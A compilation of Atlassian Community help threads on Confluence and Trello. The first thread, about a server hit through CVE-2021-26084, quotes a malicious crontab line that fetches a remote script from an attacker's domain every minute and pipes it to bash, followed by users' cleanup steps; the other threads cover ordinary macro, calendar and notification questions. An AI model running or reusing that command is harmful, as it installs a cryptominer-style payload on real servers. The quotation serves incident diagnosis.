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Virus Confluence September 1 - High load CPU consume
Asked by Gustavo Jimenez:

Today, we saw a weird behaviour in our confluence in that dbused command is constantly executed in os system.

we see in this link <https://community.atlassian.com/t5/Confluence-questions/No-access-to-Conlfuence-Webpage-100-CPU-usage-from-quot-dbused/qaq-p/1793393#U1793634>

that is a problem in various confluence. we found a crontab that get a URL and allow it delete

do you have a solutions for this problem?

we had confluence 6.15.7


Answers:
author: ????? ????????
body: Virus

/var/spool/cron/crontabs/confluence

# DO NOT EDIT THIS FILE - edit the master and reinstall.

# (- installed on Wed Sep 1 18:32:32 2021)

# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)

\* \* \* \* \* (curl -fsSL [http://bash.givemexyz.in/xms\|](http://bash.givemexyz.in/xms|)\|wget -q -O- [http://bash.givemexyz.in/xms\|](http://bash.givemexyz.in/xms|)\|python -c 'import urllib3 as fbi;print fbi.urlopen("<http://bash.givemexyz.in/xms>").read()')\| bash -sh; lwp-download <http://bash.givemexyz.in/xms> /tmp/xms; bash /tmp/xms; /tmp/xms; rm -rf /tmp/xms

\~


author: Kamil Beer
body: Hey Gustavo,

after some time struggling, it seems that, at least for some time, I have managed to shut the miner, or whatever it was, down, and get Confluence running. What I did I did in a very short time window.

1) I removed the cron entry for confluence, which was located in /var/spool/cron

2) I killed all the suspicious processes, like the dbused

3) I applied Atlassian's patch.

From then, dbuserd didn't start, nor did the cronfile generate again.

Finally, I removed all the suspicious files from /tmp.

I'm now going to apply the LTE version.


author: webenginenl
body: Some files are set with chattr flags and harder to remove.


author: Jasper Golze
body: Same here, thanks for help.


author: Kamil Beer
body: Same here. I remove the crontab entry (found in /var/spool/cron/confluence), yet the crontab regenerates.


Tags: cve-2021-26084
Suppress assignee and date in action items table description
Asked by Nigel Brown:

Is there a way to suppress the assignee and date in the description field as I have this info in the due date and assignee columns? I know I can remove those columns to not duplicate the data, but then I lose the ability to sort.

Thanks

![2021-09-02 09_21_59-Clipboard.png](/t5/image/serverpage/image-id/158606i123EE47D3DEB1CC0/image-size/large?v=v2&px=999 "2021-09-02 09_21_59-Clipboard.png")


Answers:
author: Katie A
body: If you have access to the macro "Table Transformer", you can!

1. make sure you put all "Descriptions" you want to capture in quotes

like- \[\] "Description" [@User](/t5/user/viewprofilepage/user-id/115298) //date

(where \[\] is the checkbox icon)

LIKE THIS:

![Screenshot 2024-01-24 at 11.35.01 AM.png](https://community.atlassian.com/t5/image/serverpage/image-id/302344iA059039BDE4E7865/image-size/large?v=v2&px=999 "Screenshot 2024-01-24 at 11.35.01 AM.png")

2. put your task report macro INSIDE of a table transformer macro.

3. In the table transformer macro, under "Presets" put "custom" and in "SQL query" put something like this:

SELECT  
T1.'Task appears on',  
T1.'Assignee',  
T1.'Due date',  
T1.'Label(s)',  
MATCH_REGEXP(T1.'Description',"(?\<=\\")\[\^\\"\]\*","u")  
AS 'Description'  
FROM T1

This is the result:

![Screenshot 2024-01-24 at 11.35.57 AM.png](https://community.atlassian.com/t5/image/serverpage/image-id/302345iCDE77CB1BAA7B328/image-size/large?v=v2&px=999 "Screenshot 2024-01-24 at 11.35.57 AM.png")


author: Alexis Robert
body: Hi [@Nigel Brown](/t5/user/viewprofilepage/user-id/4531201) ,

the description column is actually a simple "copy" of the task description, it's not possible to only include some information here even if it's duplicated somewhere else.

You can have a look at the documentation here : <https://confluence.atlassian.com/doc/add-assign-and-view-tasks-590260030.html>

If you do need more flexibility for tracking tasks, I would suggest looking at Jira : this way you can configure exactly what's displayed in the Jira Issues macro in Confluence, and it gives you more configuration options.

Let me know if this helps,

--Alexis

comments: author: Nigel Brown
body: Thanks Alexis, thought as the other two columns were able to include only specific parts there may be a way, but it's not a major issue, just not a fan of duplicating info but I'll just have to get use to it ?

Thanks again

Nigel


Tags: cloud

confluence-cloud

filter

table

table-filter

table-filter-and-charts

table-transformer
Macro disappears when I try to edit
Asked by Nigel Brown:

I'm using DACI registers for a number of projects under one space, so I need to edit the label in the macro to pick up the right logs, so page looks all ok![2021-09-02 09_10_29-Window.png](/t5/image/serverpage/image-id/158603iCC8F116C4EABC247/image-size/large?v=v2&px=999 "2021-09-02 09_10_29-Window.png")

I go into edit and the macro is there as expected, being the outstanding decision one,

![2021-09-02 09_10_40-Window.png](/t5/image/serverpage/image-id/158604i4594616E4C31E369/image-size/large?v=v2&px=999 "2021-09-02 09_10_40-Window.png")

but as soon as I click on it to edit, it just removes itself, any ideas?

![2021-09-02 09_10_52-Window.png](/t5/image/serverpage/image-id/158605i73C6A3ABAA5DC794/image-size/large?v=v2&px=999 "2021-09-02 09_10_52-Window.png")


Answers:
author: Nigel Brown
body: Hello again Alexis, you certainly are busy on here ?

I'm using Chrome, tired IE but I think that has bigger issues that this as it couldn't even display it correctly so I went with Edge and it's doing the same thing.

As a long shot tired clearing the cache in chrome but didn't help.

Thanks anyway, appreciate you having a look


author: Alexis Robert
body: Hi [@Nigel Brown](/t5/user/viewprofilepage/user-id/4531201) ,

this is weird, I have just tried myself and can edit the Page Properties Report macro without any issue.

Can you try with another browser ? It might just be a cache issue.

Let me know if this helps,

--Alexis


Tags: cloud

confluence-cloud

macro
Why 'Confluence Update Check' is not available in 7.0.3 as mentioned in manual upgrade guide
Asked by Ratnadeep Saha:

I need to upgrade my confluence data center to 7.13 from 7.0.3

I am following document -

<https://confluence.atlassian.com/doc/upgrading-confluence-manually-255363437.html#UpgradingConfluenceManually-1.Determineyourupgradepath>

But as per document when we try to follow pre-upgrade process then I am not able to perform due to unavailability of '**Confluence Update Check' in Manage apps.**

Go to ![](https://confluence.atlassian.com/doc/files/747833194/747833195/2/1517274813281/cog.png) \> **Manage apps** and scroll down to the **Confluence Update Check** to check the compatibility of your Marketplace apps.

Also 'Upgrade to' section in **Plan your upgrade** is disabled.

Go to ![](https://confluence.atlassian.com/doc/files/747833194/747833195/2/1517274813281/cog.png) \> **General Configuration** \> **Plan your upgrade** then select the version you want to upgrade to.


Answers:
author: Brant Schroeder
body: [@Ratnadeep Saha](/t5/user/viewprofilepage/user-id/4540756)

Can you share some screenshots of the issue?

You should find the update check at the bottom of the page.

![Capture.PNG](https://community.atlassian.com/t5/image/serverpage/image-id/158616iEC0EF74FFDAFDA1A/image-size/large?v=v2&px=999 "Capture.PNG")


Tags: confluence-server

server
embed youtube into conflence error
Asked by YoungKyu Oh:

# Having difficulties inserting Youtube into confluence page using widget connector

I'm trying to insert youtube into confluence page (Chrome)

I followed the steps below.

===============================

From the editor toolbar, choose Insert \> Other Macros.  
Choose Widget Connector from the Media category.  
Enter the URL you want to display.  
Choose Insert.

===============================

However, when i clicked insert button.. nothing happens in my page ..

Using https rather than http in my url doesnt work as well...

(I can only use chrome browser)


Answers:
author: Brant Schroeder
body: [@YoungKyu Oh](/t5/user/viewprofilepage/user-id/4540857)

When you paste the URL in you are taking the one directly out of the browser and not using a share URL. Also what happens when you hit preview?

I tested on Chrome and it is working on my instance. You can see the preview and when I insert it the page looks like this.

![Capture.PNG](https://community.atlassian.com/t5/image/serverpage/image-id/158608i7B8A01280CAB4CBD/image-size/large?v=v2&px=999 "Capture.PNG")

Here is what it looks like before it is posted.

![Capture2.PNG](https://community.atlassian.com/t5/image/serverpage/image-id/158610iFB86A30ED4090590/image-size/large?v=v2&px=999 "Capture2.PNG")

After I save it then it looks like the same as the preview. Are you seeing any error in the logs? Have you cleared your browsers cache yet?

comments: author: YoungKyu Oh
body: I can see the preview page like above with preview image, but after i click the insert button.. nothing happens... its driving me crazy

maybe I shoud clear my browser cache.. but don't know how

Thank you for reply btw


author: Brant Schroeder
body: [@YoungKyu Oh](/t5/user/viewprofilepage/user-id/4540857) give this a try [https://support.google.com/accounts/answer/32050?hl=en\&co=GENIE.Platform%3DDesktop](https://support.google.com/accounts/answer/32050?hl=en&co=GENIE.Platform%3DDesktop)


author: YoungKyu Oh
body: [@Brant Schroeder](/t5/user/viewprofilepage/user-id/769100) Thank you for your help but it still doesn't work with clearing cache.. wish i could figure this out..


author: Brant Schroeder
body: Do you have access to a different browser or computer with Chrome?


author: YoungKyu Oh
body: I communicated with our IT Team and they gave me an alternative solution below.

1. insert vimeo video URL (anything)

: vimeo works well...

2. edit - open in source editor (\<\>)

3. replace vimeo URL with Youtube URL ..

==============================

Thank you for your help Brant!!


Tags: confluence-server

embed

server
The attachment macro
Asked by keila:

The attachment macro looks like this, overlapping text (in the preview when editing it looks fine!) Please help, I have no idea how to fix it

![overlaping_attachment view.JPG](/t5/image/serverpage/image-id/158576i2080990F0583184C/image-size/large?v=v2&px=999 "overlaping_attachment view.JPG")


Answers:
author: keila
body: Check the CSS issue in the -space tools/look and feel/stylesheet. You may need to either tweak it or remove it.


author: Alex Koxaras _Relational_
body: Hi [@keila](/t5/user/viewprofilepage/user-id/3891188)

Does this happen only to you, or to other users as well?

Did you try to log in from another browser and using incognito/private window? Can you see if this will solve your problem?

comments: author: keila
body: It was happening to everyone; it was a CSS issue in the -space tools/look and feel/stylesheet. We had to remove it completely!


author: Alex Koxaras _Relational_
body: Nice! Please provide an answer and accept it, so as to help other in this community.

Cheers!
How to add additional parameter to the macro?
Asked by Yagnesh Bhat:

I have a macro written as a part of confluence server plugin that originally accepted only one parameter. Now that macro is used everywhere in several confluence instances.

There is a need now to add an additional parameter. So I tried updating atlassian-plugin.xml like so, simply copying the attributes of the original first parameter:

```
<parameters>
    <parameter name="originalParameter" required="true">
        <option key="showNameInPlaceholder" value="false"/>
        <option key="showValueInPlaceholder" value="false"/>
    </parameter>
    <parameter name="newParameter" required="true">
        <option key="showNameInPlaceholder" value="false"/>
        <option key="showValueInPlaceholder" value="false"/>
    </parameter>
</parameters>
```

The problem is only the originalParameter is seen in the page's storage format, the newParameter is not seen. Further how do I ensure that the already existing macros are aware of this new parameter?


Answers:
author: Alexis Robert
body: Hi [@Yagnesh Bhat](/t5/user/viewprofilepage/user-id/853330) ,

from what I understand, you are dealing with a Macro Plugin and not a simple User Macro.

The [documentation](https://confluence.atlassian.com/doc/writing-user-macros-4485.html#:~:text=Go%20to%20%3E%20General%20Configuration%20%3E%20User,Click%20Add) for User Macro explains how to add parameters if this is indeed what you want to do.

However if you do need to update a Plugin Macro, I would suggest asking your question in the Atlassian Developer community as you might have more answers there : <https://community.developer.atlassian.com/c/confluence/6>

Let me know if this helps,

--Alexis

comments: author: Yagnesh Bhat
body: [@Alexis Robert](/t5/user/viewprofilepage/user-id/1213386) , thanks for the suggestion. Yes, I will ask such questions in the Developer community going forward - for now, this is no longer needed, but thanks for suggesting the Developer community link, that will really help me.


Tags: confluence-server

server
Team Calendar - Filter Jira Tasks to Show only a specific assignee
Asked by Joseph Butler:

I have added the Team Calendar to a Confluence page.

The calendar shows all of the Jira Tasks for a give Project.

I would like to only display those Jira Tasks that are assigned to a specific assignee.

I do not see an option to do this.

Is there an alternate way?


Answers:
author: Fabian Lim
body: Hi [@Joseph Butler](/t5/user/viewprofilepage/user-id/4291020)

I would update the jql being used in the calendar to only pick the specific user: ... and assignee = user_name.

I hope this helps.

comments: author: Joseph Butler
body: Hello Fabian,

Thank you for the response.

In the Team Calendar, I do not see an option to use JQL.


author: Fabian Lim
body: Hi [@Joseph Butler](/t5/user/viewprofilepage/user-id/4291020)

Take a look at this post:<https://confluence.atlassian.com/teamcal/add-jira-events-241566244.html>

Add jira issue dates is the section you should review.

Cheers.


author: Joseph Butler
body: Looks like I do not have those options that are shown in the link.


author: Joseph Butler
body: Ok, looks like I found the option, thank you.


author: Fabian Lim
body: Glad you found it!


Tags: calendar

cloud

confluence-cloud
can you display the # of attachments in a page using the Content report table macro?
Asked by Sandra Lawrence:

I am using the **content report table macro** on a parent page to show all subsidiary pages which have many attachments.

I was wondering if the macro offered the capability to display a count or number of attachments on that page?

If this macro does not do it, is there another way?

Any insight would be appreciated.


Answers:
author: Jessica
body: Hello Sandra,  

Hope you are doing well!  

The [Content Report Table macro](https://support.atlassian.com/confluence-cloud/docs/insert-the-content-report-table-macro/) does not offer the ability to show the count or number of attachments, and currently, we don't have a native tool/macro that offers this feature.

However, there is a possibility to show the attachments added to a page through the [Attachments macro](https://support.atlassian.com/confluence-cloud/docs/insert-the-attachments-macro/), and it will list all the attachments for the page.

If you don't want to display a list of the attachments on the page though, you can check the count/attachments added to the page by accessing the **Page menu** by clicking on the **three dots button \> Attachments**and you should be able to see it there. :)

Hope that helps!  

Cheers,  
Jessica


Tags: cloud

confluence-cloud
Confluence Server 6.15.6 - this page is taking longer to load
Asked by JONATHAN BOHLMANN:

We have an issue on a single system who is getting the error " this page is taking longer to load". We have validated his system is patched and did a reboot. Tried Edge, Chrome, FF and in Incognito mode and all provide the same message on several pages this user tried to edit. He is able to create a NEW page but he can't edit existing pages. Others can edit the same page w/o issue. Suggestions?


Answers:
author: Fabian Lim
body: Hi [@JONATHAN BOHLMANN](/t5/user/viewprofilepage/user-id/652237)

Have you taken a look at this post with the suggested resolutions? Link: <https://confluence.atlassian.com/confkb/unable-to-edit-any-pages-in-confluence-due-to-collaborative-editing-867362716.html>

Thanks


Tags: confluence-server

server
Move a Comment between Cards
Asked by Back2Front:

Trello is awesome for organising collaborations. But invariably people I collaborate with reply to a topic on a different card.  

I see its possible to move cards between boards (how cool is that). If it could similarly be possible to move comments between cards, would be massive help to keep the conversations on track.


Answers:
author: Manda B
body: Am REALLY keen for this to be fixed... it's no good copying a card across to another column if the content does not change. It's actually misleading as no one knowss that the card they're looking at does not contain the update to date info. Can you fix this, techies? Im on the point of deleting copied cards now as I just assumed the content would be carried across to each one as each one was updated so am now carrying incorrect info on the board! Yikes!. Cheers!


author: Iain Dooley
body: [@Back2Front](/t5/user/viewprofilepage/user-id/3573522) what functionality are you trying to implement beyond simply copying the text of the comment and pasting it somewhere else?

comments: author: Back2Front
body: I want to be able to move comments between cards.

Copying and pasting text into blockquotes is what I'm doing at the moment to keep discussions on-topic. But its still confusing and messy.


author: Linda Swanson
body: I agree. I'd like to preserve the timestamp of the comment when it's moved to another card, so the sequence of events is accurate. Essentially click \& drag a comment. As opposed to copying an older comment from the wrong card and pasting with today's time stamp to the correct card.


author: mehov
body: I would also like to have this functionality.

To add to the above: manual copy-pasting won't preserve the original commenter.

Plus if they have some markdown in their comment, either manual copy-paste would lose that formatting, or I'll have to manually reproduce it, which is a waste of time. If there are links converted to titles (new feature), I'll have to right click and copy the actual URL. If there are many URLs, I'll have to repeat that with each.

And overall, manual copy paste is an ugly solution by definition.


author: Rushad Faridi
body: I guess its not currently possible! :-(
Why is a power up necessary for custom fields?
Asked by Christoph Pichlmann:

As the title says.  

The documentation even boasts that the custom fields are now part of the API, which is true in a way, but compeletely useless all the same.  
Being part of the API is no good if it's locked. Might as well not be part...

Also, completely off-topic - why is it so hard to add tags? Go into field, add text, go out of field, go back, enter text, etc...


Answers:
author: Iain Dooley
body: [@Christoph Pichlmann](/t5/user/viewprofilepage/user-id/1444802) yeah it's a little weird that custom fields, calendar and voting are powerups because they are kind of trello features and have special places in the API. But regardless I don't think it's true that they might as well not be part of the API.

In Trellinator, the way I handle the fact that custom fields may not be enabled when creating code is just to enable custom fields if it's not enabled, and create a custom field if I try to set one and it doesn't exist, throwing an exception if there are too many power ups (ie. if they don't have business class and they're already running one power up).

Here are the relevant bits of code:

<https://www.theprocedurepeople.com/trellinator-automate-trello/docs/trellinator-libs_Board.js.html#line582>

<https://www.theprocedurepeople.com/trellinator-automate-trello/docs/trellinator-libs_Card.js.html#line1247>

<https://www.theprocedurepeople.com/trellinator-automate-trello/docs/trellinator-libs_Card.js.html#line1338>


Tags: api

custom-field

power-up
Can I make a sound when a list item is checked off
Asked by Bellevue Fine Art Repro:

I want to play a sound whenever a list item is checked off. Is that possible? Sounds silly, but I want the computer to play a "ding" sound whenever a checklist item is checked.

We used to use Wunderlist, and you could play a sound when a list item was checked off. We called it our Pavlov for finishing a task. But also we're using automate.io to create trello cards, and both automate and Butler will move cards and check off list items on their own, so it's an audio cue to us that the robots are working on our behalf and have just accomplished a task that a humanoid might have otherwise been burdened with.

Is there a way to accomplish this?


Answers:
author: Iain Dooley
body: [@Bellevue Fine Art Repro](/t5/user/viewprofilepage/user-id/3558647) well, either a plugin observing events at a browser level or, depending on how insane you are, an internet connected light or speaker with an automation that posts a notification to a URL when something happens, which would make a sound regardless of whether or not you had the web page open.

comments: author: Bellevue Fine Art Repro
body: I would like Butler to be able to do that. I've thought about sending a post notification to an url but that's a little messy.

There has to be a way to get a ding.


author: Iain Dooley
body: [@Bellevue Fine Art Repro](/t5/user/viewprofilepage/user-id/3558647) well, one way to get a ding is to trigger a notification. A notification can be triggered.

So for example if you wanted to get a noise whenever some event happened, you could create a card called "Pavlov" and then everyone can watch that card.

Then you have a rule like:

When a checklist item is completed find card "Pavlov" in board "Make some noise" and post comment "Boom!"

Note that you will need to create another Trello user to run your Butler power up, otherwise the person who enables Butler will be the account used to post the comment and thus will not receive a notification.

If you would like to make this noise distinct from other Trello notifications, and you're all in the same room, you could create a Trello account and set up an iPad or other device connected to a speaker, then only that account watches the card and your user posts the comment. That way, whenever your thing triggers and posts a comment, your Pavlovian dedicated Trello account will get a notification and you can configure the sound of that notification on your device.

Does seem like a lot of trouble though ... can you not just say "Woohoo!" when you complete something? ;)